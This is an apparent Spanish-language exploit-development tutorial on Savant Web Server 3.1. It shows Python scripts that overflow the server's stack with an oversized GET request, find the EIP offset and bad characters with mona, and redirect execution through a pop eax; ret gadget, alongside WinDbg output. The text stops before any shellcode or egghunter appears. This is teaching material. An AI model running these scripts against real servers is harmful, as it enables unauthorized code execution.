En las explotaciones anteriores teniamos espacio suficiente para guardar el shellcode
conociendo su ubicación, sin embargo hay aplicaciones con un espacio muy limitado que generalmente no es suficiente para un shellcode, aqui entra el egghunter
que resumiendo su uso es un codigo mucho mas pequeño que busca el shellcode que esta en algun lugar de la memoria desconocido y lo ejecuta
Contenido
Exploit Development
EggHunters
Crashing Application
La aplicación que usaremos para ver esta técnica será nuevamente un programa real con un poco mas de complejidad de lo normal con la finalidad de aprender a adaptarnos a algunas restricciones, esta será Savant Web Server 3.1
Nuevamente evitaremos la detección de la vulnerabilidad para ahorrar tiempo y usaremos un exploit de exploitdb
para crear nuestro poc
, una pregunta podria ser ¿porque el tamaño especifico de solo 260
bytes?, lo veremos un poco mas adelante
#!/usr/bin/python3
from pwn import remote
payload = b"A" * 260
content = b"GET /" + payload + b"\r\n\r\n"
shell = remote("Windows", 80)
shell.sendline(content)
Al ejecutar el poc podemos ver que corrompemos el programa y ahora el registro eip
apunta a la dirección 0x41414141
ya que se ha desbordado algun buffer asignado
❯ python3 exploit.py
[+] Opening connection to Windows on port 80: Done
[*] Closed connection to Windows port 80
0:000> g
(100c.1530): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00792ca0 ecx=a7da135b edx=00000000 esi=00792ca0 edi=0041703c
eip=41414141 esp=042cea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
41414141 ?? ???
Find Offset
Nuestra idea es tener control sobre el registro eip
pero para ello necesitamos cuantos bytes se necesitan antes de sobrescribirlo, para ello podemos usar mona
y crear un patron de caracteres que nos ayudaran a encontrar esa cantidad de bytes
0:008> !py mona pattern_create 260
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 260
Creating cyclic pattern of 260 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file
Ahora cambiamos las 260 A's
del payload por este patrón y enviamos el exploit
#!/usr/bin/python3
from pwn import remote
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"
content = b"GET /" + payload + b"\r\n\r\n"
shell = remote("Windows", 80)
shell.sendline(content)
Una vez enviado el exploit el programa corrompe sin embargo ahora no apunta a 0x41414141
sino a 0x69413469
que es parte del patron de caracteres de mona
0:000> g
(1bf4.1858): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00642ca0 ecx=f62ed552 edx=00000000 esi=00642ca0 edi=0041703c
eip=69413469 esp=0429ea1c ebp=41336941 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
69413469 ?? ???
Ya que sabemos esto podemos usar pattern_offset
para calcular la cantidad de bytes
necesarios antes de sobrescribir el registro eip
, que son solo 253
bytes
0:000> !py mona pattern_offset eip
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset eip
Looking for i4Ai in pattern of 500000 bytes
- Pattern i4Ai (0x69413469) found in cyclic pattern at position 253
Looking for i4Ai in pattern of 500000 bytes
Looking for iA4i in pattern of 500000 bytes
- Pattern iA4i not found in cyclic pattern (uppercase)
Looking for i4Ai in pattern of 500000 bytes
Looking for iA4i in pattern of 500000 bytes
- Pattern iA4i not found in cyclic pattern (lowercase)
Ya que sabemos el offset podemos enviar 253 A's
hasta antes de sobrescribir el eip que lo haremos con 4 B's
y enviaremos 4 C's
adicionales que se deberian guardar justo donde inicia el stack
por lo que el registro esp deberia apuntar a esas C's
#!/usr/bin/python3
from pwn import remote
offset = 253
junk = b"A" * offset
ret = b"B" * 4
stack = b"C" * 4
payload = junk + ret + stack
content = b"GET /" + payload + b"\r\n\r\n"
shell = remote("Windows", 80)
shell.sendline(content)
Hay un problema, cuando enviamos un payload mayor a 260
corrompemos la aplicación pero el error es diferente por lo que no tenemos control sobre el eip
0:000> g
(114c.9b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=43434343 ebx=02462ca0 ecx=00600000 edx=00600000 esi=02462ca0 edi=0041703c
eip=0040c05f esp=042fe6a8 ebp=042fea14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:002b:43434343=????????
Para evitar este problema quitaremos los 4 bytes que se almacenarian en el stack y veremos como se comporta el programa, por ahora nos quedamos que el espacio que tenemos para guardar instrucciones es de apenas 3
bytes que no nos sirven
#!/usr/bin/python3
from pwn import remote
offset = 253
junk = b"A" * offset
ret = b"B" * 4
payload = junk + ret
content = b"GET /" + payload + b"\r\n\r\n"
shell = remote("Windows", 80)
shell.sendline(content)
Ahora el eip se sobrescribe con 0x42424242
, al revisar los bytes del stack encontramos 2 cosas interesantes, la primera es que el primer byte del dword es un 0x00
lo que quiere decir que despues de escribir nuestra cadena escribe un null byte
0:000> g
(1f74.bf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=01fe2ca0 ecx=308ab9d2 edx=00000000 esi=01fe2ca0 edi=0041703c
eip=42424242 esp=0429ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
42424242 ?? ???
0:000> dd esp L4
0429ea1c 0429fe00 0429ea74 0041703c 01fe2ca0
Lo segundo es que parecen punteros, al escribir el null byte en el primer dword
este sera invalido pero al revisar que hay en el segundo podemos ver que este apunta al inicio
de nuestro input, tenemos una forma de saber donde se encuentra el input
0:000> db poi(esp + 4)
0429ea74 47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00 GET.............
0429ea84 00 00 00 00 00 00 00 00-2f 41 41 41 41 41 41 41 ......../AAAAAAA
0429ea94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0429eaa4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0429eab4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0429eac4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0429ead4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0429eae4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Find Badchars
Ya que sabemos como podemos encontrar nuestro payload intentaremos detectar los badchars
, igual a posts anteriores podemos iniciar creando un bytearray
con mona
0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
Ya que tenemos la limitación de espacio despues de sobrescribir la dirección de retorno enviaremos los badchars al inicio del input después del metodo indicado
#!/usr/bin/python3
from pwn import remote
badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
offset = 253
junk = b"A" * (offset - len(badchars))
ret = b"B" * 4
payload = badchars + junk + ret
content = b"GET /" + payload + b"\r\n\r\n"
shell = remote("Windows", 80)
shell.sendline(content)
Hay un problema, al enviar el exploit esta vez el programa ni siquiera corrompe, ¿porque? es probable que alguno de los badchars
delimiten la petición y corten la cadena por lo que ni siquiera logramos sobrescribir la dirección de retorno
0:000> g
Debuggee is running...
¿Que podemos hacer?, en realidad hay 2 opciones para identificar los badchars:
• Comentar lineas de badchars para identificar en que parte de estos el programa corrompe para descartarlos linea por linea.
• Eliminar los badchars que de acuerdo al contexto podrian darnos problemas como el 0x00
, 0x0a
y 0x0d
que equivalen a \0
, \n
y \r
que como vimos en posts pasados podrian tomar otra función dentro de una petición http
y corromperlo.
0:000> !py mona bytearray -cpb '\x00\x0a\x0d'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray -cpb '\x00\x0a\x0d'
Generating table, excluding 3 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22"
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2"
"\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Una vez quitamos los 3
bytes que podrian darnos problemas modificamos el exploit
badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Ahora al enviar el exploit el programa corrompe y volvemos a tener el control del eip
0:000> g
(5c0.d58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=022b2ca0 ecx=8e527088 edx=00000000 esi=022b2ca0 edi=0041703c
eip=42424242 esp=043fea1c ebp=4242fffe iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
42424242 ?? ???
Sabemos que el pintero en esp + 4
apunta al inicio de nuestro input, si a ese puntero le aumentamos 0x19
llegamos a la ruta donde se encuentra nuestro payload
0:000> db poi(esp + 4)
043fea74 47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00 GET.............
043fea84 00 00 00 00 00 00 00 00-2f 01 02 03 04 05 06 07 ......../.......
043fea94 08 09 0b 0c 0e 0f 10 11-12 13 14 15 16 17 18 19 ................
043feaa4 1a 1b 1c 1d 1e 1f 20 21-22 23 24 25 26 27 28 29 ...... !"#$%&'()
043feab4 2a 2b 2c 2d 2e 2f 30 31-32 33 34 35 36 37 38 39 *+,-./0123456789
043feac4 3a 3b 3c 3d 3e 3f 40 41-42 43 44 45 46 47 48 49 :;<=>?@ABCDEFGHI
043fead4 4a 4b 4c 4d 4e 4f 50 51-52 53 54 55 56 57 58 59 JKLMNOPQRSTUVWXY
043feae4 5a 5b 5c 5d 5e 5f 60 61-62 63 64 65 66 67 68 69 Z[\]^_`abcdefghi
0:000> db poi(esp + 4) + 0x19
043fea8d 01 02 03 04 05 06 07 08-09 0b 0c 0e 0f 10 11 12 ................
043fea9d 13 14 15 16 17 18 19 1a-1b 1c 1d 1e 1f 20 21 22 ............. !"
043feaad 23 24 25 26 27 28 29 2a-2b 2c 2d 2e 2f 30 31 32 #$%&'()*+,-./012
043feabd 33 34 35 36 37 38 39 3a-3b 3c 3d 3e 3f 40 41 42 3456789:;<=>?@AB
043feacd 43 44 45 46 47 48 49 4a-4b 4c 4d 4e 4f 50 51 52 CDEFGHIJKLMNOPQR
043feadd 53 54 55 56 57 58 59 5a-5b 5c 5d 5e 5f 60 61 62 STUVWXYZ[\]^_`ab
043feaed 63 64 65 66 67 68 69 6a-6b 6c 6d 6e 6f 70 71 72 cdefghijklmnopqr
043feafd 73 74 75 76 77 78 79 7a-7b 7c 7d 7e 7f 80 81 82 stuvwxyz{|}~....
Al comparar los bytes del .bin
con la dirección calculada podemos ver que no se ha modificado por lo que los 3
badchars que detectamos son los unicos existentes
0:000> ? poi(esp + 4) + 0x19
Evaluate expression: 71297677 = 043fea8d
0:000> !py mona compare -f bytearray.bin -a 0x043fea8d
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f bytearray.bin -a 0x043fea8d
[+] Reading file C:\mona\bytearray.bin...
Read 253 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 253 bytes successfully from C:\mona\bytearray.bin
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x043fea8d | [+] Comparing with memory at location : 0x043fea8d (Stack)
0x043fea8d | !!! Hooray, normal shellcode unmodified !!!
0x043fea8d | Bytes omitted from input: 00 0a 0d
Find Opcode
Repasemos, en esp + 4
se encuentra el puntero hacia el inicio de la petición por lo que para retornar a esa dirección tenemos un par de opciones para buscar un gadget
• pop ???; ret;
: Eliminara 4 bytes en el primer pop para guardarlo en el registro y al ejecutar el ret saltará hacia el inicio de la petición.
• add esp, 4; ret;
: Parecido al anterior solo que en lugar de guardar 1 dwords en registros hace que el puntero al stack aumente en 4 bytes para ejecutar el ret.
Para encontrar un gadget que ejecute algunas de estas instrucciones primero necesitamos saber que modulos
carga el programa que pertenezcan a el y no al sistema para esto podemos usar mona, solo hay 1
modulo pero con un pequeño detalle, inicia con 0x00
y esto es un badchar sin embargo como es el final
del payload no nos importa que corte lo que esta delante por lo que podemos usarlo
0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false
---------- Mona command started on 2024-02-28 18:15:48 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Module criteria : ['os=false']
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------
0x00400000 | 0x00452000 | 0x00052000 | False | False | False | False | False | False | 3.1.0.0 [Savant.exe] (Savant.exe) 0x0
----------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
El gadget que usaremos sera pop eax
para quitar 4 bytes y ret
para retornar al puntero, obtenemos el opcode y buscamos dentro del modulo Savant.exe
0:000> !py mona asm -s 'pop eax # ret'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py asm -s 'pop eax # ret'
Opcode results :
----------------
pop eax = \x58
ret = \xc3
Full opcode : \x58\xc3
0:000> !py mona find -s '\x58\xc3' -m savant.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py find -s '\x58\xc3' -m savant.exe
---------- Mona command started on 2024-02-28 18:16:38 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
- Pointer access level : *
- Only querying modules savant.exe
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
- Treating search pattern as bin
[+] Searching from 0x00400000 to 0x00452000
[+] Preparing output file 'find.txt'
- (Re)setting logfile C:\mona\find.txt
[+] Writing results to C:\mona\find.txt
- Number of pointers of type ''\x58\xc3'' : 19
[+] Results :
0x00418674 | 0x00418674 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041924f | 0x0041924f : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x004194f6 | 0x004194f6 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x00419613 | 0x00419613 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041a531 | 0x0041a531 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041af7f | 0x0041af7f : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041b464 | 0x0041b464 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041b9fa | 0x0041b9fa : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041ba2e | 0x0041ba2e : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041c49a | 0x0041c49a : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041cc30 | 0x0041cc30 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041cce4 | 0x0041cce4 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041eb74 | 0x0041eb74 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041fe21 | 0x0041fe21 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041fe7e | 0x0041fe7e : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x00420904 | 0x00420904 : '\x58\xc3' | startnull,ascii {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x00420a1d | 0x00420a1d : '\x58\xc3' | startnull,ascii {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x00420e69 | 0x00420e69 : '\x58\xc3' | startnull,ascii {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x00420ed8 | 0x00420ed8 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
Found a total of 19 pointers
Enviaremos A's
hasta antes de sobrescribir el eip donde estara un pop eax; ret;
#!/usr/bin/python3
from pwn import remote, p32
offset = 253
junk = b"A" * offset
ret = p32(0x00418674)
payload = junk + ret
content = b"GET /" + payload + b"\r\n\r\n"
shell = remote("Windows", 80)
shell.sendline(content)
Establecemos un breakpoint en la dirección del gadget y corremos el exploit anterior
0:000> bp 0x00418674
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c
eip=00418674 esp=0428ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18674:
00418674 58 pop eax
Al ejecutar el pop eax; ret;
el programa retorna al inicio de la petición por lo que intentará ejecutar la string del metodo GET
como instrucciones ensamblador
0:000> r
eax=00000000 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c
eip=00418674 esp=0428ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18674:
00418674 58 pop eax
0:000> p
eax=0428fe60 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c
eip=00418675 esp=0428ea20 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18675:
00418675 c3 ret
0:000> p
eax=0428fe60 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c
eip=0428ea74 esp=0428ea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
0428ea74 47 inc edi
0:000> db eip
0428ea74 47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00 GET.............
0428ea84 00 00 00 00 00 00 00 00-2f 41 41 41 41 41 41 41 ......../AAAAAAA
0428ea94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eaa4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
